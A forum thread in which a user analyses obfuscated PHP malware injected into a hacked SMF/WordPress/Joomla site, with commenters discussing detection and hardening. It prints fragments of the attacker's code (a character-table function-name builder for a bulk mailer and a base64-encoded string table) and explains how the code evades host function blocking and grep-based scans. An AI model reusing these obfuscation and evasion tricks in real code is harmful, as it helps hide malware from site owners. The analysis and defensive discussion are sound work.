Haxx0red j00 PHP



  • So this week I got asked to investigate a hacked site. It's a mash up of SMF (which is how I got involved), WordPress and Joomla, and I have the uncomfortable feeling that SMF is the most secure part of the site, judging by what has been observed.

    There are at least three different injections into the site code. And I'm sharing because it's... interesting to see what they've been doing.

    I haven't finished unpicking all the scripts but here's the first one. Or at least, a representative part of it.

    <?$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW"; $GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29]; $GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55]; $GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28]; $GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7]; $GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92]; $GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53]; $GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28]; $GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18]; $GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34]; $GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53]; $GLOBALS['npqfu35'] = $i59[29].$i59[49].$i59[56].$i59[82].$i59[56].$i59[92].$i59[53]; $GLOBALS['kgedf91'] = $i59[77].$i59[29].$i59[56].$i59[55].$i59[65].$i59[7].$i59[53]; $GLOBALS['tscso85'] = $i59[10].$i59[55].$i59[83].$i59[49].$i59[82].$i59[16]; $GLOBALS['dkzox36'] = $i59[2].$i59[69].$i59[83]; $GLOBALS['nqkyz54'] = $i59[94].$i59[83].$i59[17];
    

    What it's doing is taking a single string that contains a bunch of useful characters, and pulls individual characters out of it (since somewhere in PHP 5.x they deprecated $var{1} syntax for pulling individual characters in favour of array addressing), and stitches them together to make a string which is a function name.

    PHP (and this is kind of a WTF) actually lets you perform things like so:

    $string = 'myfunction';
    $string($param);
    

    to call myfunction(). And this is the behaviour that is being used here. There's plenty more, like using this behaviour to set string array keys (yes it's a hashmap but PHP doesn't make you deal with that, it's just a nestable key/value pair deal)

    Just to add to the fun, there are 7 or so actual functions that get called, and even those are obfuscated. There is, for example, a function named bctio27, which is the content of $GLOBALS['mrkzp11'], and all references in the script henceforth are from that $GLOBALS['mrkzp11'] rather than even the bare function name.

    The full script is a nasty bulk mailer.



  • Why not rewrite it in one line of Perl?



  • Well, yeah, but why bother when you can just make use of a shell script with a free blog add-on?

    The really devious bit is that I've been unpicking what functions it's using. Crap like fsockopen is normally locked down on hosts - so to get around that, this script is doing all kinds of crazy like opening streams and sockets instead, which bizarrely is so much more likely to be accessible.

    I've found that hosts tend to lock fsockopen, base64_ functions and stuff like shell_exec but almost never touch the stream stuff which is almost as 'dangerous'. And these hosts think 'we've blocked base64 decoding so getting crap in is harder' - it never occurs to them that someone could just, say, roll a base64 decoding function into the script and obfuscate that for bonus points.



  • Mate of mine's Joomla instance got hacked a couple of weeks back. What they were using to inject looked a lot like that, although the final result was a couple of (pretty well put together) phishing pages.



  • Put it down. Walk away slowly. Don't startle it.

    The secondary question: The 'unpicking all the scripts'... SURELY you're talking about the attackers scripts, right? No sane person would build this shit as their normal site... right? RIGHT?!

    TELL ME I'M RIGHT ARANTOR!



  • Of course you're right. I'm genuinely curious to see what stunts this script is pulling. I want to see what's going on partly in case there's any general advice for hosts, as well as any useful mitigation techniques, and partly because I dislike just nuking nasty scripts without seeing what it's actually going to be doing.



  • Ok. Good. I was worried there for a minute.



  • I know I'm TRWTF but I'm not THAT much of a WTF.



  • @Matches said:

    No sane person would build this shit as their normal site... right? RIGHT?

    Obfuscated PHP contest: Build an actual, working web site...



  • Stop it. Arantor already said the crazy was from the attacker script, not the official website. Bad forum goer, bad!


  • BINNED

    @HardwareGeek said:

    Obfuscated PHP contest: Build an actual, working web site...

    Not interested. Maybe if you made it a code golf as well...



  • @Arantor said:

    I'm genuinely curious to see what stunts this script is pulling.

    From what I know about hackers, you might be... mildly surprised:

    https://www.youtube.com/watch?v=oJagxe-Gvpw


  • BINNED

    I saw this before. I'm pretty sure it's not a fake, but I kinda hope it is.



  • WTF did I just watch?

    Serious question. Why did they do the whole thing with array of chars and building up function names etc... Code obfuscation? Trying to hide how they broke in?

    Does it help?



  • WTFF was that. It filled me with feelings. Of frustragetion.



  • @tufty said:

    Mate of mine's Joomla instance got hacked a couple of weeks back. What they were using to inject looked a lot like that, although the final result was a couple of (pretty well put together) phishing pages.

    You'd be surprised. A page that I work on had one of its FTP accounts compromised, so access to a subdirectory was open to the hacker (by hacker, I meant the person that figured out that the name of the account was the same as the domain name, and the password was probably the same, too). They updated a bunch of page to include spam links, but copypastad the HTML elements so that it would look exactly like it belonged on the page.



  • I'm done with this first script. The multiple layers of obfuscation are clever, and this script is reasonably interesting, but end of the day it's just a mail script. Using streams to get around some normal limits is one thing, using pfsockopen as a replacement for fsockopen is another. Doing your own manual SMTP isn't anything special either.

    Also, the second script repeatedly gets cleaned by MSE as a threat - even when it's set up in a way that won't be triggered.


  • 🚽 Regular

    Its not directly relevent here but https://malwr.com/ is great for analysing random Windows threats that your salesmen download.

    It accepts uploads and then executes them in a VM while showing all the useful stuff like thread and network activity. It was fascinating watching a banking trojan go at it.



  • @Cursorkeys, that sounds interesting. I've never observed banking trojans in action, but that seems interesting.

    Meanwhile, on the second script, I'm seeing all kinds of funky obfuscation. Like so:

    if((round(0+182.4+182.4+182.4+182.4+182.4)+round(0+3162))>round(0+228+228+228+228)|| fread($_12,$_2));else{
    	parse_url($_18,$file_size,$_1);
    }
    

    So, an if statement that does nothing if true by design and does nothing useful if false (parse_url acccepts 1 or 2 params and returns an associative array, accepting nothing as a reference)

    I'm still going through it to figure out what this script is supposed to do but it's interesting because of some slightly interesting constructs.

    For example, this little joy:

    function _1051033548($i)
    {
    	$a=Array('Z' .'Glzc' .'Gxhe' .'V' .'9lcnJvcnM=','Yw==','UkVRVUVTVF' .'9VU' .'k' .'k=','SFRUUC8xLj' .'Eg' .'ND' .'A0IE' .'5vdCBG' .'b3VuZA=' .'=','LyhcP' .'ykuKiQv','','UkVRVUVTVF9VUkk=','aH' .'R0cDov' .'Lw=' .'=','U0VSVkVSX05BT' .'UU=','L0FGUW' .'p' .'DT' .'k' .'huaDhSdHR' .'GSTNWTXJCZG' .'RZdzZ' .'ybmd' .'Lejd' .'LR' .'UE=','' .'YXFhYndpY3ZybXd3' .'Y' .'g==','dnZ6','L' .'0FG' .'UWp' .'DTk' .'h' .'uaDhSdHRGSTNWTXJCZGRZdzZybmdLe' .'jdLRU' .'E=','MDkwYTUwMWU' .'w' .'YjA5MTY' .'w' .'M' .'j' .'UxND' .'gwM' .'D' .'Bm','ODA=','MTc1Z' .'TA' .'xNWUx' .'YzU1N' .'TY0MjE3MWYwMDE5' .'NDgwYT' .'Qw','aXA' .'=','c' .'GF' .'0aA==','dXNlcmFnZW50','Lw==','' .'Lmh' .'0' .'YWNjZ' .'XNz','' .'Y2M=','a' .'HR' .'0cDovLw=' .'=','' .'UkVRVUV' .'TVF9VUkk=','LnBo' .'cA' .'==','Og==','Pw==','b3Zy','Cg==','dWJxY' .'XJjd' .'2FldHVrc3dxZg==','dWR6','Cg' .'=' .'=','' .'Lmh0bWw=','YXBwbG' .'l' .'jY' .'XRpb24' .'vb2' .'N0ZXQtc' .'3R' .'yZ' .'WFt','Q' .'29ud' .'GVud' .'C1UeXBlOg==','Q29udGVudC1' .'EaXNwb3NpdGlvbjo' .'g' .'YXR0YWNobWVu' .'dDsgZ' .'ml' .'sZW' .'5hbW' .'U9','Q2' .'9ud' .'G' .'Vu' .'dC1MZ' .'W5nd' .'G' .'g6IA==','dW12' .'dXBr' .'b2xkcWRyY' .'2NvZn' .'E=','b' .'GN6','SCo=','','ZG' .'N1','dXJs','bW' .'V0' .'aG9k','R0' .'V' .'U','' .'dXJs','','bWV' .'0' .'aG9k','bWV0aG9k','ZGF' .'0' .'YQ=' .'=','ZG' .'F' .'0YQ==','' .'UE9T' .'VA==','R0VU','b' .'WV0' .'a' .'G9' .'k','bW' .'V0aG' .'9' .'k','b' .'WV0aG9k','R0VU','UE9TV' .'A==','' .'dXJs','c2NoZ' .'W1l','c2No' .'ZW1l','' .'aHR0cA==','' .'cGF0aA==','' .'cGF' .'0' .'aA' .'==','Lw=' .'=','a' .'G9zdA=' .'=','' .'cGF0aA==','' .'cGF0a' .'A' .'==','Lw==','a' .'G9zd' .'A==','' .'cGF' .'0aA==','cGF' .'0a' .'A' .'=' .'=','Lw' .'==','cGF0aA=' .'=','cGF0aA' .'==','cG' .'F0a' .'A' .'==','Lw==','aG9zdA==','cGF0aA' .'==','c' .'GF0aA==','L' .'w' .'==','cG' .'F' .'0aA' .'==','L1' .'tcL10rLw==','Lw==','cG' .'F0' .'aA==','cXVlcnk=','c' .'GF0a' .'A==','cXV' .'l' .'cnk=','cG9ydA' .'=' .'=','c' .'G' .'9ydA==','c' .'G' .'9y' .'dA==','c' .'G9' .'ydA==','c2' .'N' .'oZW1l','a' .'HR0c' .'HM=','d' .'GltZW91dA=' .'=','d' .'Gl' .'tZW' .'9' .'1dA==','cmV' .'0' .'dX' .'Ju','cmV0dX' .'Ju','' .'Y29udG' .'Vu' .'dA==','c2NoZW1l','aH' .'R0cHM' .'=','c' .'3' .'NsOi8v','','aG9zd' .'A==','VX' .'Nlci1B' .'Z' .'2VudA==','V' .'XNlci1BZ2' .'VudA==','' .'TW' .'96aW' .'xsYS81' .'LjA' .'gKGlQa' .'G9uZTsgVTsgQ1B' .'VI' .'G' .'lQaG9uZS' .'BPUyAzXzAgbGlrZSB' .'N' .'YWM' .'gT1MgWD' .'s' .'gZW4' .'tdX' .'M' .'pIEF' .'wcGxlV2ViS2l0LzUyOC4' .'xOC' .'A' .'oS0hU' .'TU' .'wsI' .'Gxpa2Ug' .'R2V' .'ja28pIFZlcn' .'Npb24vNC4' .'wIE1vYmlsZS' .'83Q' .'TM0MSBTY' .'WZhcmkv' .'NTI4L' .'jE2','bWV0' .'aG' .'9k','c' .'GF0aA' .'==','aG9' .'zdA' .'=' .'=','V' .'XNlci1BZ2VudA==','DQo=','c' .'mVmZX' .'Jl' .'cg==','cmVmZXJl' .'cg==','' .'Y2' .'9v' .'a2ll','','Y2' .'9v' .'a2' .'l' .'l','Y29v' .'a' .'2ll','Y29va2' .'ll','a' .'3Bj' .'dWp' .'paGNibWdy','' .'bXFre' .'g==','','' .'Q29ubmVjdGlvbjogY2x' .'vc2' .'UNCg==','bWV0aG9k','U' .'E9' .'TVA=' .'=','ZGF0YQ=' .'=','' .'ZGF' .'0Y' .'Q==','' .'ZGF0YQ==','PQ==','Jg==','Jg==','DQoNCg==','Q29u' .'dGVu' .'d' .'C10' .'eXBlO' .'iBhc' .'H' .'BsaWNh' .'d' .'G' .'lvbi94LXd3dy' .'1mb3Jt' .'LX' .'Vy' .'bGVuY29kZWQN' .'Cg==','cmFna3' .'RqaW9' .'s' .'c' .'GRpan' .'Rld3R4' .'a2loZg=' .'=','' .'d2h6','Q2' .'9udG' .'VudC1' .'sZW5ndG' .'g6IA==','DQo=','D' .'Qo=','' .'cG1o' .'a' .'nZxam9' .'3cmFjbw=' .'=','dW' .'tyYXo=','bWV0aG9k','' .'UE9TVA==','','','DQo' .'NCg=' .'=','' .'DQoNCg==','D' .'Q' .'oN' .'Cg' .'==','' .'c' .'mV0dXJ' .'u','aGVhZ' .'GVyc' .'w' .'=' .'=','cm' .'V0dX' .'J' .'u','YXJy' .'Y' .'X' .'k=','c' .'mVkaXJlY3Q' .'=','cmVk' .'aXJl' .'Y3Q=','DQ' .'o' .'=','O' .'g==','Og==','O' .'g' .'==','c' .'mV' .'kaXJ' .'l' .'Y3Q' .'=','cm' .'VkaXJlY3Q=','TE9DQVRJT04=','dXJs','TE9DQV' .'R' .'JT04=','cmVkaX' .'JlY' .'3QtY291b' .'n' .'Q=','' .'c' .'mVk' .'aX' .'JlY3QtY291bnQ=','cmVkaXJlY' .'3Qt' .'Y291b' .'n' .'Q=','cmVkaXJlY' .'3QtY' .'291bnQ=','cm' .'V' .'0' .'dXJu','aGVhZ' .'GVycw==','cmV0d' .'XJ' .'u','YX' .'JyY' .'Xk=','' .'aGVhZ' .'GVycw=' .'=','Y' .'2' .'9' .'udG' .'Vu' .'dA==','SFR' .'UUF9VU0VSX0FHRU5' .'U','SF' .'R' .'UUF9SRUZFUkVS','' .'S' .'FRUUF9' .'S' .'R' .'UZ' .'FUk' .'VS','LQ==','Uk' .'VN' .'T1R' .'FX' .'0FERFI=','UkVNT' .'1RFX0' .'FERFI=','' .'LA==','LA==');
    	return base64_decode($a[$i]);
    }
    

    It's called with a numeric parameter and it's quite straight forward in concept: like the previous script it gets to have a list of named functions and cloak them all in an array, but it's somewhat less elegant than the previous script's attempt, and this one explicitly requires base64_decode. A RWTF is the number of hosts that assume that base64 encoding/decoding is automatically suspicious.


  • 🚽 Regular

    Wow, that's gloriously horrible. It reminds me of a DOS program that had a hardware dongle which contained a jump table for nearly every single function. Replay analysis worked until you got to a function call you hadn't recorded. I gave up trying to reverse it in the end. The competition ate their business a few years later...

    Edit: I was trying to reverse it because of lack of support, we actually bought the licenses for the damn things. Then Windows stopped direct access to the parallel port and the dongles didn't work any longer.



  • .................why not just scrap it?



  • Because as I said already, I'm curious to see what the malware is doing before I blow it away with extreme prejudice.



  • @Arantor said:

    Because as I said already, I'm curious to see what the malware is doing before I blow it away with extreme prejudice.

    It may harm you, though, lol



  • I'm thinking Ezekiel 25:17.



  • I was thinking more along the lines of Nietzsche.



  • Looking into the abyss? I already got warned about that once.





  • Thank you :) Nasty little mail script there.



  • Same reason why exploit servers serve obfuscated JavaScript.

    When an attacker uploads a malicious script to a website (using stolen ftp credentials or security holes) he will first run it through an obfuscator which spits out code that looks like this, but (more important) is different every time. So even if he hacked 100 websites that are all managed by the same (poor) sysadmin, the sysadmin cannot easily grep for all the "evil" scripts at once since they are not the same (although they all perform the exact same task and were written by a human only once).

    And for that, it does not depend if the obfuscator adds unused code or "just" encodes strings or a mixture of it.



  • Personally I just grep for "eval","base64_decode", "ini_set" which catches the bulk of them. Then there's stupider searches like counting number of characters per line in a file(sometimes they just inject everything like that) and it's pretty instant to catch.



  • What's hilarious is that in SMF, there are legitimate uses of eval, legitimate uses of base64_decode and legitimate uses of ini_set, so simply just testing for those aren't always a magic bullet.

    I tend to make sure stuff just isn't writable from the webserver (nor chmoddable), and that generally takes care of stuff.



  • This is where you introduce a white list of files.



  • Well, that would be logical. So would introducing a list of hashes of files so you know what the files should be, but that's no good either when all add-ons are managed by way of find/replace...

    The entire process is a series of WTFs.


  • Discourse touched me in a no-no place

    @Arantor said:

    I tend to make sure stuff just isn't writable from the webserver (nor chmoddable), and that generally takes care of stuff.

    That's a reasonable approach. Reboot the webserver (well, the Apache process) relatively often too, so pure-memory attacks don't gain much traction.



  • Eh, the legitimate uses will be very minor and then you go look at the file. Easier than searching for if statements.



  • You'd think so. It's not quite as nice as that. Looking at the current (known clean) production release of SMF (which is what I was cleaning up), there are:

    • 26 instances of base64_decode
    • 30 instances of base64_encode
    • 10 instances of eval in the PHP, 12 in the JavaScript

    Yeah, it's good fun.



  • @Arantor said:

    10 instances of eval in the PHP, 12 in the JavaScript

    base64 encoding/decoding I can understand. But executing code from a string? What is their reason for doing that?


  • BINNED

    @ben_lubar said:

    base64 encoding/decoding I can understand. But executing code from a string? What is their reason for doing that?

    Shhhh. At least it's not exec

    ... @Arantor is going to link some examples now, I just know it.



  • Several reasons, actually.

    Firstly, there is 'template eval', which means that if one of the templates gets edited but has a syntax error, it won't just fatally die but be able to give a slightly less annoying error message (with code highlighting of where it's gone wrong)

    There's also this fucked up pre-loader that takes PHP 5 style classes and tries to make them PHP 4 compatible by way of loading the file, fixing the property definitions and then eval'ing it.

    There's also some around the weird-ass caching system they have for doing caching-to-a-file.

    I didn't say it was good, but I can give you the reasons why. They're not great reasons but they're not entirely retarded either.





  • Oh, and yes, there's shell_exec too, to attempt to run host or nslookup to get the domain name attached to an IP address. But in 2003 when it was first written... etc. etc....


  • BINNED

    @ben_lubar said:

    You don't even need a function for that.

    I... I... I'm sorry, WHAT? I use the damned language and I had no fucking idea? How the fuck didn't I know about that?

    Oh, right, because I still have a modicum of sanity left and it never even occurred to me to look for something like that.



  • It's even less common than using shell_exec or exec bare. Oddly enough most malware uses shell_exec even though backticks would be cloaked better.


  • Discourse touched me in a no-no place

    @Arantor said:

    It's even less common than using shell_exec or exec bare.

    .. unless you've been using bash as well...



  • Not in the PHP world, though. Sure, if you're used to bash you might well do it - but I don't recall the last time I saw any PHP script do it even though shell_exec is quite common in malware.


  • BINNED

    @Arantor said:

    Not in the PHP world, though.

    @PJH said:

    .. unless you've been using bash as well...

    Or perl, you see backticks quite often there…



  • Perl is all fucking symbols, isn't it? It's like the real world equivalent of Brainfuck.


  • BINNED

    Well, it can be, but if you run across perl code without:

    use strict;
    use warnings;
    use English qw/ -no_match_vars /;
    

    You should complain or fix it…
    Perl's ancestry is awk, sed, bash, and C syntax; thus the large number of "symbol" variables.
    I'll abandon the use English; for short ( < 100 lines ) programs, which are usually "one offs" or "one liners".



  • I try not to use Perl in the first place. But I'm a PHP monkey so that's not saying a fat lot.


  • BINNED

    [rant]

    PHP is (looking at syntax etc…) what happens when a retarded script kiddie decides to implement their own take on perl. There is no real strict mode, no real taint mode… Cripes you can find a mod-perl style plugin (or work around) for nearly every web server in creation (apache, IIS, nginx to name a few) that provide more security with perl than you'll ever see with PHP. Hell prefer JS over PHP.

    [/rant]


Log in to reply